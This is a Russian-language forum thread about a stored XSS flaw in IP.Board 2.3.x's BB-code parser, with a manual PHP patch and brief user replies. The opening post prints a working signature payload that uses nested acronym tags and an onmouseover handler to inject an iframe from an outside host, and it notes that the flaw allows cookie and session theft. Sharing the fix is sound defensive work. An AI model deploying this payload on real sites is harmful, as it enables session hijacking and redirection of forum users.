[Помощь] [patch] Активная XSS в IP.Board 2.3.х - исправление

Статус
В этой теме нельзя размещать новые ответы.

E-body

Мой дом здесь!
Регистрация
6 Сен 2007
Сообщения
992
Реакции
342
Недавно было опубликовано о возможности произведения активной XSS на форумах IPB 2.3.x > , изза неправильной работы парсера BB кодов.
Пример злоумышленного кода в подписи юзера:
PHP:
[color="#EEF2F7"][acronym=test1[acronym=test2 onmouseover=document.write("\x3Ciframe\x20src=http://****.freehostia.com/\x20frameborder=0\x20width=1024\x20height=3186\x20scrolling=no\x3E\x3C/iframe\x3E");document.close(); ]_]___________________________________________________________________________[/acronym]_[/acronym][/color]

Возможность увести куки, сессии, перенаправить пользователя на другую страницу - выполнение явяскрипт на странице.

Исправление!
Если у вас на форуме не изменен файл ../sources/classes/bbcode/class_bbcode_core.php то просто замените пофиксенным с офф сайта community.invisionpower.com/topic/306221-ipboard-236-and-305-security-update/page__pid__1922743__st__0&#entry1922743

Исправления в ручную (в том случае когда файл был ранее изменен например изза модов типо HIDE или другое)

Открыть ../sources/classes/bbcode/class_bbcode_core.php
Найти (примерно 777 строка) :
PHP:
# XSS Check: Bug ID: 980
							if ( $row['bbcode_tag'] == 'post' OR $row['bbcode_tag'] == 'topic' OR $row['bbcode_tag'] == 'snapback' )
							{
								$match[ $_option ][$i] = intval( $match[ $_option ][$i] );
							}

Добавить после код:
PHP:
							# XSS acronym
							if ( $row['bbcode_tag'] == 'acronym' )
							{
								$match[ $_option ][$i]  = preg_replace( "/s((\\\|\)*)t((\\\|\)*)y((\\\|\)*)l((\\\|\)*)e((\\\|\)*)=/is", "st yle=", $match[ $_option ][$i] );
								$match[ $_option ][$i]  = str_replace( array( ':', ';' ), '', $match[ $_option ][$i] );
								$match[ $_content ][$i] = preg_replace( "/s((\\\|\)*)t((\\\|\)*)y((\\\|\)*)l((\\\|\)*)e((\\\|\)*)=/is", "st yle=", $match[ $_content ][$i] );
								$match[ $_content ][$i] = str_replace( array( ':', ';' ), '', $match[ $_content ][$i] );
							}

Вот и весь фикс. ;)
п.с. в ипб 3 версии скорее также исправление, поскольку не пользуюсь то решил не смешивать все в одной теме. Отдельное спасибо cyber-city форуму за обсуждение баги ;)
 
2.3.x версии еще кто-то использует?
 
2.3.x версии еще кто-то использует?

А мне например вторая линейка нравиться намного больше третьей. Тройка получилась слишком уж социальная и к тому же громоздкая имхо.

А вот уязвимость я как-то упустил. Пойду патчить форум.
 
Социальность нынче в моде =)
 
Спасибо за русификатор
 
Спасибку тыкнул за инфу, Кстате я так же на 2.3.6 сижу да бы она полегче да и глюков нет, а вот линейка 3.0.Х еще рановато да и она тяжелая.
 
Статус
В этой теме нельзя размещать новые ответы.
Назад
Сверху